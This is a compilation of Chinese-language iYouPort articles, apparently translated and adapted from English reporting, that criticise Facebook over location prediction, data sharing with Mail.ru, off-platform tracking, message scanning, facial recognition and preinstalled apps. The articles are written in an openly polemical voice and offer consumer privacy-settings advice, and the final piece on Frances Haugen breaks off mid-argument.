Examples, from a Facebook patent, showing entity location information known by Facebook, including the hours of operation, how many users checked in to that location, and the general category of the entity (e.g., grocery or gym).

例如，在下面的地图中演示了该技术如何运作，Facebook 会看到你在地理位置 302—它可以预测根据这个地点你可能会去下一个地点 304,306 和 308，再根据您之前曾去过（也许您在访问 Walgreens 后去过星巴克）或者与您年龄相同的其他用户去过，以进一步确认。

「图」

「图」

This map demonstrates how the patented Facebook technology would work. Given a user's current location (302), the method can predict where you'd likely go to next (306, 304, or 308).

另一个 Facebook 专利申请进一步详述了如何使用来自多个人的位置数据以便收集位置和移动趋势、以及如何对位置链建模。根据该专利申请，这些可用于“各种应用”，包括“基于位置向用户做广告并提供对用户移动的见解。”该技术甚至可以区分居住在城市中的人和刚刚访问城市的人们的移动趋势。

在下图示中，用户1访问位置 A，B，然后是 C，而用户2按顺序访问位置 B，A，然后是 C。Facebook 的技术可以推断出这些位置是公共链的一部分，并创建一个位置“pair”，包括这三个常见位置（A，B和C）。

「图」

「图」

Here's how Facebook creates location “pairs,” which are groups of locations commonly visited in the same trip. Locations are represented by A, B, and C, and users are represented by 1 and 2.

位置数据是几乎所有公司垂涎欲滴的盛宴。这种情况下你可以做点什么保护自己？

• 如果您想限制您为 Facebook 提供的位置数据，您可以关闭移动应用程序的位置服务—或者更好的是，从手机中删除移动应用程序并在移动 Web 浏览器中使用 Facebook。不要将您的位置添加到任何帖子中。

• 如果您有 iPhone，请转到设置」隐私」广告，然后启用限制广告跟踪。您还可以选择停用基于位置的广告，方法是转到“设置”」“隐私”」“位置服务”，然后一直向下滚动到“系统服务”并停用基于位置的 Apple 广告。

• 如果您使用的是 Android 设备，请转到设置」 Google」广告」，然后启用“选择退出广告个性化设置”。您还可以在那里重置您的广告 ID。所有 Google 用户都可以通过“广告设置”页面关闭广告个性化设置。

祝您好运！

Facebook Filed A Patent To Calculate Your Future Location. The methods described in three Facebook patent applications use your historical location data—and others'—to figure out where you'll go next. What You Can Do

原文

Facebook为俄罗斯互联网巨头创造了一个特殊的数据扩展……究竟为什么？ - iYouPort

关于Facebook-这不只是一家公司

你知道 **Facebook** 和 **Twitter** 是俄罗斯亿万富翁资助的吗？到底谁是“干预美国选举”的罪魁祸首？

自3月份以来，当有消息指责剑桥分析公司使用 Facebook 应用程序在未经用户同意的情况下收集了多达 8700 万人的数据这一事实时，该社交网络巨头不得不反复回答它是如何出卖用户的数据以及把数据给了谁。在丑闻发生后不久，Facebook 就在一篇博客文章中匆匆自卫，称在 2014 年，它改变了 API 的一个元素，“以防止第三方收集用户朋友的数据”，就像剑桥那种第三方。Facebook 称虽然它在 2014 年宣布了这一变化，但原本已经可以访问数据的应用程序在 2015 年 5 月之前仍然可以访问。

然后，在上个月末向众议院能源和商务委员会提交的 700 多页书面答复中，Facebook 承认，一些应用程序可以拥有长达六个月的访问权限，以允许它们“遵守”新规则。名单上有数十家公司，包括像 Hinge 这样的约会应用程序、也有像 Spotify 这样的音乐流媒体服务，但是，还有一个颇为引人注目的，那就是：俄罗斯互联网巨头 "Mail.ru"。

根据 Facebook 的说法，Mail.ru 获得了为期两周的数据扩展，以放缓两个消息传递 APP 上的功能，该功能使用户能够与那些也拥有 Mail.ru 应用程序的人一起查看他们的 Facebook 好友列表和消息。在扩展期间，至少应用程序只能访问人们的朋友列表，而不能访问有关这些朋友的喜好或兴趣的任何信息。然而，早在该扩展到位之前，**Facebook** 就称 "Mail.ru" 在该平台上运行了数百个应用程序，所有这些都在 **Facebook** 的旧规则下运作，也就是说确实允许应用开发者收集用户的朋友数据。其中一些应用程序最早于 2009 年就开始运行了。

“一些应用程序是在 2015 年平台更新之前构建的，因此它们确实可以

访问我们平台的早期版本，”Facebook 发言人说，“这使得用户可以选择同意分享关于他们自己以及他们的朋友的信息。”

Facebook 表示，Mail.ru 的大多数应用程序都是保密的测试版应用程序，只有少数实际上是公开发布的。但是它没说究竟有多少用户在未经同意的情况下就将隐私信息暴露给了 "Mail.ru"。该公司补充说，自 2015 年5月 Facebook 更改其 API 以来，Mail.ru 的应用程序集合无法访问人们的朋友数据。尽管如此，Facebook 现在正在调查 Mail.ru，以及在更改之前可以访问大量用户数据的所有其他应用程序。

但是，该发言人表示，调查本身并不是一种谴责：“我们没有发现任何与 Mail.ru 滥用有关的迹象。如果我们发现任何可疑活动或可能的误用，那就是我们开启正式审计的时候。”

⚠ **Facebook 在 2015 年之前为数千家其他公司提供了与 "Mail.ru" 相同的数据访问权限。然而，最近对俄罗斯在 2016 年大选之前操纵社交网络的担忧可能会使两家公司之间的关系成为新的亮点……**

Mail.ru 的一位发言人在给在线媒体 WIRED 的一份声明中写道：“我们假设在改变 API 的同时改变了那些尚未更新到最新版本的热门应用程序的客户条款[...]我们绝对严格控制我们与 Facebook 的合作以满足我们产品的业务需求，严格按照 Facebook 的规定。“

对于那些熟悉 **Facebook** 首席执行官马克扎克伯格与**Yuri Milner.** 的关系的人来说，Facebook 通过 Mail.ru 促成数据扩展的事实可能并不令人惊讶。

这个俄罗斯亿万富翁兼 "Mail.ru" 的创始人也是 **Facebook** 的主要投资者。（Milner.的一位发言人在一份声明中表示，“Yuri Milner.自 2003 年以来一直没有担任 Mail.ru 的首席执行官。在 2010 年的 Mail.ru 首次公开募股后不久，他卖掉了公司的所有股份。2012 年，他从董事会辞职，从那时起就没有参与其中“）

不过，去年，有关 **Milner.** 与克里姆林宫的关系的报道也浮出水面了。

2017 年 11 月，在“巴拿马文件”泄漏了 1340 万份与离岸支付相关的机密资料之后，“纽约时报”报道说， Milner.已经获得了数亿美元的俄罗斯国家资金，他通过他的国际投资公司 DST Global 部分投资给

Facebook 和 Twitter。

虽然报告中没有任何内容表明这些投资是俄罗斯影响力行动的一部分，但是，在美国对俄罗斯干预选举进行联邦调查后，对这一消息的关注爆发了。去年秋天，Milner.在一封公开信中为自己的声誉辩护，称他试图渗透美国科技公司以帮助俄罗斯政府的说法是“牵强附会”和“谎言”。

在 Facebook 披露之后的一份声明中，众议院委员会排名成员、新泽西州民主党人 Frank Pallone Jr. 表示，Facebook 对国会的回答“比他们提出的问题更多”。虽然他没有回应 WIRED 关于 Mail.ru 事件的评论请求，但 Pallone Jr. 在声明中表示，“令人不安的是，在丑闻曝光四个月后，**Facebook** 仍然不知道有多少人拥有其用户的数据，这些数据是否今天仍在被使用，以及怎么用的。“

一直在调查俄罗斯操纵社交媒体平台事件的参议院情报委员会副主席、民主党参议员 Mark Warner 在一份声明中表示，“我们需要确定与 Mail.ru 共享的用户信息都是些什么，以及有可能利用这些数据干什么“。

Warner 特别关注 "Mail.ru" 的主要参与者，包括主要投资人 **Alisher Usmanov**，“此人与弗拉基米尔·普京 **Vladimir Putin** 有着密切关系。”

至少，对俄罗斯操纵 **Facebook** 事件的调查已经持续了近一年，而 **Facebook** 直到现在才提供这些信息，这至少表明 **Facebook** 显然缺乏透明度。

在众议院委员会的数千份提问中，Facebook 一再被问及俄罗斯国家机构对 Facebook 用户数据的访问权限。然而 Facebook 回应说，它在 2013 年至 2017 年期间他们收到了来自俄罗斯政府提出的 34 项数据请求，但没有提供任何数据。

但是专家表示，"Mail.ru" 相关的交易与 **Facebook** 向包括华为等中国公司在内的设备制造商提供数据的消息，如果放在一起观察的话，足够反映 **Facebook** 在处理国际政权问题方面的天真。

“如果你是一个旗下公司具有一定规模的俄罗斯商人，你就无法逃避俄罗斯情报部门需要你提供信息的要求，”美国外交官 Brett Bruen 说，他曾担任奥巴马的全球性行动总监，现在经营着一个咨询公司叫 Global Situation Room。 他指出，“这就是今天人们在俄罗斯开展业

务时不得不面对的现实。”

这也不是俄罗斯独有的状况。Bruen 指出，美国国家安全局早已找到了自己的方法来收集美国科技公司的数据，正如 **Edward Snowden** 所揭示的那样。与国家资助的情报机构对所有这些隐私数据所做的事相比，剑桥分析公司丑闻几乎微不足道。“剑桥分析公司是一家相对较小的公司，曾经在边缘折腾，现在他们把这些信息转交给了一个大型情报机构。”

原文

Facebook对您进行毛骨悚然的跟踪- 即使您根本不用Facebook - iYouPort

你的反乌托邦在线生活阴云密布关于Facebook-这不只是一家公司

这个工具的确是最新的，但无法保证它真的如它所声称的那般有效，因为它本身就是 **Facebook** 提供的。但至少您可以看到监视资本主义本性的冰山一角

「图」

「图」

我们所有人生活中 “楚门的世界” 里，一举一动都被7*24地直播……

您是否曾经怀疑过 Facebook 应用在偷听您说话？您并不偏执，我们现在所能知道的甚至更加令人毛骨悚然。

Facebook 提供了一种新方法，声称可以帮用户获知该监视资本家对每个用户的了解程度：这是一个叫 “Off-Facebook Activity” 的跟踪器。

它表明 Facebook 和其拥有的 Instagram 和 Messenger 不需要麦克风就可以定位跟踪您 —— 有无数种其他方式可以做到这点。

即使您的手机关闭了 Facebook，而当您使用其他应用程序时，寡头公司也会知道您在干什么。

它知道您何时阅读什么文章；它知道您什么时候点击零售店购物车；它还知道您什么时候打开 Ring 应用程序 —— 肯定因为您家门口有人敲门。

它利用您在 **Facebook** 之外的现实生活中获得的所有信息来塑造您能在线看到哪些信息。您能看到什么都是被它控制着的，这就是定制人。

- 《算法暴政：定制人如何终结民主》

现在您也可以看到 Facebook 如何跟踪您。

这个叫 “Off-Facebook Activity” 的跟踪器将向您显示，在180天内，Facebook 从众多组织和广告商那里收集到的有关您的数据。

该页面隐藏在许多设置菜单的后面，特别不好找（这是直达链接），是 Zuckerberg 在2018年剑桥分析公司丑闻爆发时做出的承诺之一，声称提供用户可以 “清除历史记录” 的方式。

- 关于剑桥分析公司《心理操纵的秘密：”行为经济学”＋PR＝？》

Facebook 的新工具几乎没有 Web 浏览器的 “清除历史记录” 按钮更有用，它无法让您重置与 Facebook 的整个关系。

但是，除了透明度，它的确为您提供了一种方法，可以将其 *某些* 监视与您的 Facebook 帐户解除关联。

您可能会为其中的发现感到震惊或至少有些尴尬。

华盛顿邮报发现，Facebook 知道谁访问了精子测量服务、什么时候登录过医疗保险网站、甚至是注册 Equifax 违约和解的网站的信息。

⚠即使您自己的手机完全关机，企业也可以上传有关您在店内购买商品的信息。一位记者发现了**974**个应用和网站都共享了关于他的活动。

这里不一定有新的隐私权侵害。因为 Facebook 多年来一直与网站、应用程序和商店合作来跟踪和定位客户。

- 《打破 Facebook 究竟需要什么？》

请注意，这么做的人并非只有 Facebook。所有监视资本家都这么干 —— 出卖你我就是他们如此有钱的原因。

这至少可以再次提醒所有人：我们都生活在《楚门的世界》那种实况电视节目中，在这个世界里，监视器始终处于开机状态。

任何关心这些寡头公司如何操纵所有人的人，都应该关心它如何跟踪我们。

很容易忘记扎克伯格的所谓道歉和罚金不断，但这是事实：Facebook 不断收集关于每个人的越来越多的数据，很少有法律能限制它的使用方式。

- 《隐私法案管不住 Facebook 和 Google，怎么办》

Google 等监视资本家还没有至少提供与 “Off-Facebook Activity” 页面相当的产品。

- 在这里下载国际特赦组织的报告《谷歌和 Facebook 是人权侵犯者》

“尽管这项活动在互联网上非常普遍，但我们认为，重要的是要帮助人们了解自己为什么会看到那些信息，并使人们能够控制数据的使用方式，而不管他们使用什么服务，” Facebook 发言人 Jay Nancarrow。

去年的《加利福尼亚消费者隐私法》等法律要求这些寡头公司确切告知人们他们收集了关于我们的哪些数据。

为什么您会看到那些信息？

如果所有这一切听起来令人困惑，那不是你的错。皮尤（Pew）于2019年发布的一项调查发现，有74%的美国 Facebook 会员不知道该监视资本主义寡头都收集了哪些用户信息。

Facebook 使其监视系统变得如此复杂，坦率地说，它很无聊，以致人们都不知道该从哪里开始抵制它。

这是一张全景图：每个人在 Facebook 和 Instagram 上的体验都完全不同。您看到的内容可能充满了关于豪华房地产的故事和 Mike Bloomberg 的广告，而我看到的可能是 NASCAR 和特朗普的广告。事实上，这在任何寡头公司的平台上都是如此 —— 比如微信 —— 这就是算法暴政。它定位操纵人们的认知，让社会分裂。

这些监视资本家知道你最容易被什么样的信息所影响，于是你就会看到那样的信息。

Facebook 使用一些数据将您归入 “兴趣” 类别，例如居住在华盛顿的人养猫。您可以通过在 “广告偏好设置” 菜单下查看 Facebook 放置的框。（单击此处直达链接以查看，并根据需要删除其中一些类别。）

其中的一部分很容易理解。 Facebook 显然知道您的朋友是谁、您“点赞”了什么，以及发布的内容和位置。您自己输入了这些信息。

但是，别忘了 Facebook 收集的是一个信息大世界，其中包括您并非自愿加入的东西，甚至您自己可能都不知道自己正在被收集这些信息。

Facebook 如何获得此信息？该公司为合作伙伴提供了跟踪软件，他们将其嵌入到应用程序、网站、会员卡和其他系统中。

根据电子前沿基金会的研究，Facebook 在排名前10,000的网站中的约30％上拥有所谓的跟踪像素或 cookie 共享代码。

很难避免 Facebook 的监视。它不需要您去点击 “like” 或使用 “使用 Facebook 登录” 按钮。并且，您甚至不必要登录到手机上的 **Facebook** 应用程序或网站，该监视资本主义寡头也可以跟踪识别您，事实一旦发生，这些信息就会与您的帐户联系起来。

Facebook 表示，它限制了企业可以与其共享的信息。例如，他们不应该传递健康和财务信息。但是，目前尚不清楚 Facebook 对此的监管程度。也就是说，空口白牙而已。

使用取证软件，我在网站上找到了针对抗艾滋病药物的 Facebook 追踪器代码。Facebook 发言人 Nancarrow 表示：“拥有 Facebook Pixel 的健康网站并不意味着他们与Facebook共享敏感的医疗信息。”

Facebook 一直努力将监视描绘成完全正常。扎克伯格经常说人们希望看到“相关的”广告。我想知道他指的 “人们” 究竟是谁。皮尤的调查显示，大约81％的 “公众说他们由于被公司收集数据而面临的潜在风险大于收益”。

「图」

「图」

To tell Facebook to stop using your off-Facebook activity, look for “Manage Future Activity” and then make sure “Future Off-Facebook Activity” is turned off. (Geoffrey Fowler/The Washington Post)

你能做点什么

您可以采取一些措施来反击 Facebook 的监视，其中一些以前从未提

供过。

新的 “Off-Facebook Activity” 页面包括要求 Facebook 删除它的方法。在该页面上，单击 “清除历史记录” 以告诉 Facebook 从您的帐户中删除该数据。

完成此操作后，您仍然需要通知 Facebook，希望他们以后不再将此数据添加到您的个人资料中。

在同一页面上，寻找 “管理未来活动” 的另一个选项。单击该按钮，然后单击标记为 “管理未来活动” 的其他按钮，然后关闭 “ Future Off-Facebook 活动” 旁边的按钮。

您最好不要在其他网站上点击那个 “使用 Facebook 登录”按钮，除了隐私问题外还有切实的安全问题需要您警惕。

在进行调整时，同时建议您更改其他不良的 Facebook 默认设置。在设置菜单下，转到 “您的广告偏好设置” (点击此处直接进入) 。在 “广告设置” 标题下，查找 “基于合作伙伴数据的广告”。确保将其设置为 “不允许”。

「图」

「图」

To prevent Facebook from using external data to target ads at you, make sure this option is turned off. (Geoffrey Fowler/The Washington Post)

⚠请注意：更改这些设置实际上并没有阻止 Facebook 从其他公司收集有关您的数据。假设 Facebook 这个工具的效果是真实的，它只会使 Facebook 将那些数据与您的个人资料 “断开连接”。

要知道，我们无法确定这个工具的功能究竟是不是真的像其说明的那样。

那么，如果您不希望 Facebook 首先收集有关您的所有这些数据，该怎么办？这需要更多的反抗实践。

在您的计算机上，使用与追踪器对抗的Web浏览器，例如 Mozilla 的 Firefox、Privacy Badger 插件，最好是 Tor 浏览器。

在智能手机应用程序中，跟踪也越来越普遍，甚至很难停止。关于我们的 列表-1 “自我保护措施”、“反侦察” 等栏目，其中有具体方法介绍。

当然，最好的方法就是彻底离开这些监视资本家的服务 —— 因为您现在完全可以摆脱它们了，在这里看到具体方法《"安全工具箱补充版：分类工具列表（2）"》为什么不呢？〇

Facebook will now show you exactly how it stalks you—even when you’re not using Facebook

原文

Facebook找到了让端对端加密失败的方法 - iYouPort

关于Facebook-这不只是一家公司

不论如何不能让他们实现这点。否则，唯一的解决方案是，让所有人放弃电子设备

「图」

「图」

扎克伯格宣布“转向隐私”就如同麦当劳宣布“转向庆丰包子”差不多。

如果说扎克伯格真的“转”了点什么，那就是，Facebook 正朝着相反的方向发展 —— 他们琢磨出了打破任何有意义的加密的想法。

当然，端到端加密一直被视为在线隐私的基石，因为它仅允许对话参与者访问信息，以此来保护双方之间交换的通信。

但现在，由 Kalev Leetaru 撰写的文章指出，可以在设备本身上实现真正的监控，使得轻松绕过端到端加密并导致其无用。受损设备将广播诸如击键和屏幕截图之类的内容。

为了证明这一点，文章提到 Facebook 打算开始将“审核和黑名单算法”嵌入客户端，例如其消息应用程序 WhatsApp，以绕过其为其用户提供的加密。

Facebook 不希望评论任何这些消息。

今年早些时候，德国的 Spiegel Online 报道了 Facebook 在德国举办的一场演讲。当时该公司似乎在没有确认的情况下提及它正在构建一种工具，使其能够将对“内容审核”的能力 —— 以及监控和审查 —— 直接转移到设备本身上。

最近美国司法部长威廉·巴尔（William Barr）发表评论，他赞成部署

加密后门 —— 就如许多人所说的那样，重新启动了长达数十年的加密辩论 —— 似乎也重新点燃了 Leetaru 重申他的观点的必要性：辩论是浪费时间。

他写道，情况确实如此，因为安全通信会在设备上受到损害，而不需要将后门插入加密协议本身 —— 据报道 **Facebook** 现在是这项技术的先驱。

“在设备上直接审查监控”

将此过程称为设备上的审核，所谓的“审核和黑名单”算法将在本地运行，但会从 **Facebook** 的集中式云平台接收更新 —— “在发送每个明文消息之前扫描每个明文消息，并在解密后扫描每个消息。”

根据该报告，Facebook 还透露，被发现违反其政策的解密内容的副本将被发送到其服务器 —— 充当真正的窃听即服务。

其实早在5月份，Facebook 的演讲主旨就已经在德国出现了，该国内政部长敦促允许政府访问支持此类通信保护的应用程序上的加密内容。

Leetaru 将社交媒体巨头的想法描述为“在发出未经授权的言论之前”[介入监控审查]。

中国读者都知道有些内容会“直接无法发出”，或者发出后只有自己可见；就是这个意思。但是，这是发生在微信那种未加密的平台上，而现在，Facebook 要在加密通信中实现这点。

只要其中一个技术寡头这样做了，破坏加密的潮水就会如多米诺骨牌一样。完全允许执法部门监视被确定为感兴趣的任何用户。

Facebook 这样做是最危险的—— 该公司收入依赖于超过20亿用户的个人数据 —— 并且，该公司也最有可能给予政府窥探的权力。

因此，Leetaru 认为 Facebook 成为第一个推动绕过加密技术的家伙、并以这种方式“杀死”了加密实体，这本身并不出人意料 —— 不过在演示文稿中抛出的想法能够成为现实，可能还需要时间。

⚠如果 Facebook 这样做了，无需怀疑其他人也会迅速这样做，如硬件制造商和操作系统制造商，肯定会在设备上嵌入内容过滤器，并可以扫描安装在其上的任何应用程序。

他写道：“通过这种方法，政府不仅解决了如何打败加密的问题，而且还能利用社交媒体寡头对所有人进行大规模监控，向他们发送实时警报并解密内容的副本。”

如果这篇文章被认为是“可以接受的”，那么未来就更加严峻了，因为在这种类型的监控被规范化和广泛实施的世界中，任何反击都会被破灭。

“精心设计的解决方案”

至于加密辩论，司法部长 Barr 再次重申破解的需求，联邦调查局局长克里斯托弗·雷（Christopher Wray）迅速支持他的论点，即：执法部门应该能够获得目标设备的完全访问权限 —— 但他表示，这并不意味着任何削弱加密“或引发更广泛的网络安全问题”（这是自相矛盾）。

据CNBC 报道，他还补充说，密码学家现在告诉 FBI，“有一些解决方案可以保护加密，并满足执法部门对访问加密通信的需求。” 就是对设备本身下手吧？

在2018年1月，Wray 呼吁对端到端加密采取“精心设计”的解决方案，并且还透露，前一年，**FBI** 闯入了大约**15,000**个受保护的设备 —— 未能破解的设备数量为 7,775 部。〇

附：《Facebook 给了全球当权者一个终极暴政蓝图》

原文

Facebook承认：它扫描您发送的所有消息和照片 - iYouPort

关于Facebook-这不只是一家公司

Facebook 表示，它会扫描所有用户的 Messenger 对话，给出的理由是“遏制社交网络上的滥用行为”。但是，该公司称“不会将这些私人数据用于广告目的”……鬼知道会不会！

据说 Facebook 的内容政策要求所有内容必须遵守相同的指导原则。所以，所有的消息都需要扫描，并使用自动化工具来标记消息或图片以供审查 #censorship

⚠️ Instagram和Messenger应用也遵循相同的数据策略和内容审核规则。

几年前我就怀疑 Facebook 会偷窥私人消息。当时我用 messenger 联系一位正在巴基斯坦拍摄的捷克导演，时间只持续了两天，后因对方提出隐私要求便放弃了这个通讯渠道。但一周后巴基斯坦发生塔利班制造的汽车炸弹袭击，当天 Facebook 忽然给我弹出提示，提醒我“关心朋友的安全”。后被证实，爆炸地点离我那位朋友的居所不到一千米。

我是想说，端对端加密是非常必要的！在任何时候。

Facebook Admits: It Scans All Messages And Photos You Send On Messenger

⚠️ Moreover, it has also been made clear that Instagram and Messenger apps follow the same data policy and content review rules.

原文

Facebook正在给Trolls做蜜罐 - iYouPort

关于Facebook-这不只是一家公司

Facebook 刚刚采取了一项新政策，该规则禁止色情和其他明确的性内容（根据不同的法规已经在被禁止之列了），但它并不止于此：它还禁止“隐性性诱惑”，包括使用潜台词、双关语，甚至表达对性的兴趣也会非法。一点都不夸张：新政策直接表明禁止“模糊的暗示性陈述，例如’今晚寻找美好时光’，都不可以说。

很惊人吧。但问题的关键并没有停在这里。

Facebook 这样的规定将使非常多的人面临违规被禁的风险，而 trolling 可以有更多机会利用平台的举报机制来吞没任何他们不喜欢的内容；并且，国家行为者同样可以系统性地滥用 Facebook 新规来审查他们的政治敌人。

有了这些新规则，组织这种类型的攻击就变得容易多了。一些举报完全可以将用户拖入 Facebook 迷宫般的惩罚制度中，这可能导致组织页面被停用、甚至完全被禁止进入 Facebook。此过程提供给用户的申诉机会完全没有意义。

Facebook’s Sexual Solicitation Policy is a Honeypot for Trolls: the new rules put a substantial portion of Facebook users in danger of violation. Fundamentally, that’s not how platform moderation policies should work—with such broadly sweeping rules, online trolls can take advantage of reporting mechanisms to punish groups they don’t like.

原文

Facebook用欺骗的方法拼命扩大其生物识别数据收集，目的是在现实世界中控制你 - iYouPort

关于Facebook-这不只是一家公司

该技术可用于在不知情或未经同意的情况下远程识别人员，它就是实现大规模监视系统的基础设施

当 Facebook 今年在欧盟推出面部识别工具时，它使用的是撒谎的方式，称“该技术在帮助人们保护他们的在线身份“。“脸部识别技术可以让我们帮助保护你免受陌生人使用你的照片冒充你的风险，”Facebook 这样告诉其在欧洲的用户。

显然社交网络正在采取一个危险的举动。六年前，在那里的监管机构提出有关其面部识别同意系统所存在的问题之后，Facebook 已经停止了它欧洲的技术。然而现在，Facebook 正在卷土重来，重新引入该服务，作为其在欧洲更新其用户许可流程的一部分。

然而，在美国和欧洲的数据挖掘实践受到严格审查之际，Facebook 对该技术的积极推动已经导致了巨大的声誉风险。已经有十几个隐私组织和消费者团体，以及至少一些官员，认为该公司使用面部识别侵犯了人们的隐私权，因为他们没有获得适当的用户同意。

这些投诉加剧了硅谷巨头在处理用户个人信息方面遭受的批评。目前，一些美国政府机构正在调查 Facebook 对政治咨询公司 Cambridge Analytica 收集用户数据的回应。

Facebook 对面部识别的推动也使该公司被置于了关于如何处理强大技术这一更广泛和激烈辩论的中心。该技术可用于在不知情或未经同意的情况下远程识别人员。公民自由专家警告说，它就是实现大规模监视系统的基础设施。

延伸阅读：《//如何对抗面部识别技术？包括被 Facebook 强加的面部识别//》

面部识别的工作原理是在照片或视频中扫描未命名人物的面部，然后将他们的面部图案的代码与指定人员的数据库中的代码进行匹配。 虽然 Facebook 表示，用户可控制面部识别过程，但显然这又是撒谎。

批评人士表示，人们实际上并不能控制这项技术—因为即使面部识别设置被关闭，Facebook 也会在照片中扫描他们的脸部。

“该公司试图通过让 Facebook 看起来像好人的方式来解释他们的做法，但他们完全回避了他们正在扫描每张照片的事实，”数字版权组织电子前哨基金会的高级律师 Jennifer Lynch 说。

在欧盟，GDPR 这项新的数据保护法现在要求公司在收集面部数据等敏感信息之前获得明确的的“自由”的同意。一些批评者，包括最初提出新法律的前政府官员，一致认为 Facebook 以不正当的方式诱导用户的意见，只为了合法化他们的面部识别。

“Facebook 在某种程度上威胁用户，如果不接受面部识别，用户将面临危险。这是在操纵同意，完全违反欧洲法律”，欧洲委员会前司法委员 Viviane Reding 说，他现在是欧洲议会议员。

延伸阅读：《//为什么说欧洲新法规反而会加强 Facebook 和 Google 的霸权？//》

欧洲监管机构也对 Facebook 的面部识别实践表示了担忧。在 Facebook 的国际总部爱尔兰，数据保护委员会的一位发言人表示，监管机构“已就此技术向 Facebook 提出了一些具体问题。正在评估 Facebook 的回应“。

在美国，Facebook 正在打击伊利诺斯州居民提起的诉讼，诉讼指该公司的面部识别行为违反了州隐私法。这是一起集体诉讼案件，损害赔偿金可能高达数十亿美元。 然而 5月，一家上诉法院批准了 Facebook 的要求延迟审判并审查集体认证令。

另外，隐私和消费者团体在4月份向联邦贸易委员会提出申诉，称 Facebook 增加了面部识别服务，而未经人们事先同意，就默认开启。这些团体认为，Facebook 违反了 2011 年的同意法令，该法令禁止欺骗隐私的做法。

「图」

「图」

投诉说：“Facebook 经常做出虚假陈述，诱使消费者采用更广泛和更普遍的面部识别技术。”

更要命的是，Facebook 不是唯一拥抱面部识别技术的科技巨头。在过去几年中，亚马逊、苹果、Facebook、谷歌和微软都提交了面部识别专利申请。注意，还是可怕的专利！

5月，公民自由团体批评亚马逊向警察部门推销名为 Rekognition 的面部技术。

批评人士指出，Facebook 在面部识别技术方面处于领先地位，部分原因是由于该公司使用了欺骗的方法，将该技术作为了用户的默认开启选项。 2010 年，该公司推出了照片标签功能，该功能使用面部匹配软件来建议用户给照片中的人添加名字。

隐私专家指出，Facebook 既没有获得用户对该技术的选择性同意，也没有明确告知他们该公司可以从扫描他们的照片中受益。

面部识别公司 Kairos 的首席执行官 Brian Brackeen 表示，“当 Facebook 的标签建议问你’这是吉尔吗？’时，你往往没有意识到自己正在帮助改善 Facebook 的人脸识别算法。”

⚠ 这个庞大的面部数据库使得 Facebook 能够迅速开发出世界上最强大的商业面部识别引擎之一。 2014年，Facebook 的研究人员表示，他们已经在迄今为止最大的面部数据集上训练了识别软件，这是一个多达 400 万张面部图像的数据集—— 全部来自于被该公司欺骗了的用户。

然而这只是一个开始。**Facebook** 的面部识别专利申请的目标是，利用该技术在现实世界中跟踪他们的用户。

去年11月发布的一项专利申请描述了一种系统，该系统可以检测商店内的消费者并将这些购物者的面孔与他们的社交网络数据相匹配，然后分析他们的朋友的特征和其他细节，使用这些信息来确定每个购物者的“信誉等级”。据文件称，被认为“值得信赖”的消费者可能有资格获得特殊待遇，例如在锁定的陈列柜中获取商品。

另一份 Facebook 的专利文件描述了收银台附近的摄像头如何捕捉购物者的面孔，将其与社交网络配置文件相匹配，然后将购买确认的信息发送到他们的手机上。

隐私组织 EPIC 称专利文件显示 Facebook 正在如何从用户的脸上赚

钱：“Facebook 的专利申请证明了公司的主要商业目的，即扩大其生物识别数据收集，以及它在不久的将来设想的面部识别技术的普遍使用”。

Facebook’s Push for Facial Recognition Prompts Privacy Alarms

原文

Facebook的预装强奸 - iYouPort

关于Facebook-这不只是一家公司

对不起，#DeleteFacebook，你从来都没有机会。现在这家丑闻缠身的社交媒体巨头已经与全球各地的 Android 智能手机制造商、移动运营商和操作系统达成了未知数量的协议，不仅预装了 Facebook 在硬件上的同名应用程序，而且使该软件无法被删除；它已经变成了您的设备的永久功能，无论您喜不喜欢该公司的应用程序，它都会跟踪您在线和线下的每一步行动。

尼克·威克（Nick Winke）是一名摄影师，他使用的是三星2017年推出的 Galaxy S8，手机买来时已经被预装了 Facebook 应用。他想删掉这个 App，但始终无法删除，唯一的选择就是“禁用”，他不理解所谓“禁用”是什么意思。

Facebook 表示，App 能否删除是由预装协议决定的，Facebook 与手机制造商、操作系统、移动运营商签署协议，多年来一直如此，三星正是合作伙伴之一。Facebook 不愿意透露协议的财务细节，只是说公司希望用户拿到新手机手机就能立即享受最棒的[贴身老大哥]体验。

Facebook 也拒绝透露在预装应用方面达成合作的企业，只是称合作协议根据地区和类型的不同而变化。

三星则表示，部分机型预装的 Facebook App 可以选择禁用，一旦禁用，App 就不会再继续运行。

由于网上没有预装 Facebook 应用相关手机的完整名单，所以消费者不可能知道某个设备是否预装 Facebook，只能买手机时询问客服。

虽然许多智能手机用户已启用自动更新，但该应用程序总是会在更新后重新被启用（从而在未来某一天从僵尸状态恢复到完全成熟的 Facebook 应用程序）。

这是一个特别令人震惊的例子，鉴于公司漫长而传奇的糟蹋隐私历史。

那些不希望自己的数字活动和位置随时随地受人监控的消费者可能会因为没有任何形式的 Facebook 应用程序在设备上占用空间而感到安心。

但是，未知数量的 Android 用户现在发现他们自己根本没有这个选项。

Welcome to 2019 where we learn Facebook is the new crapware. Sorry #DeleteFacebook, you never stood a chance. it's an especially egregious example given the company's long and storied privacy hostile history.

原文

不，豪根不是 Facebook 的 “吹哨人“，这一误解很危险 - iyouport

关于Facebook-这不只是一家公司

仅仅批评 Facebook 是不够的。必须知道它为什么会这样做。

Facebook 的问题或监视资本主义的问题并不是任何新问题，但值得注意的是 —— 此次事件后政府和几乎所有企业媒体异口同声地鼓吹更严格的言论审查作为所谓的解决方案的恐怖。我们必须从刀山进火海吗？Frances Haugen 于 10 月 5 日在参议院委员会上作证。DREW ANGERER/GETTY IMAGES

您一定注意到了，标题中有一个引号。

首先必须说明，弗朗西斯·豪根（Frances Haugen）并不是 “吹哨人”，或者说不是您所应该理解的吹哨人。虽然所有主流媒体都称其为 “吹哨人”。

这也是一个很好的机会，以强调 “吹哨” 究竟意味着什么。

这非常重要，因为搞错的后果将很危险 —— 在豪根的故事之后，欧洲迅速借助美国企业媒体对审查作为 “解决方案” 的推崇，要求美国硅谷巨头加强审查他们想要遏制的内容。中国有 GFW，中国人不被允许使用 Facebook 等硅谷巨头的平台，但您也能看到，中国网络对豪根的故事的 “热情” —— 很简单，统治阶级在把控审查大权的渴求方面，有绝对的共同利益。

污染吹哨人的概念正是统治阶级对抗透明度革命的最惯用手段 —— 还记得中国的故事吗？

豪根事件再次暴露了许多人对吹哨概念的理解模糊不清。这非常糟糕，容易被当权者所操纵。

有线索表明，豪根的 “吹哨” 可能并不完全是人们假设的那样，这是

完全不同于吹哨的另一种行动。

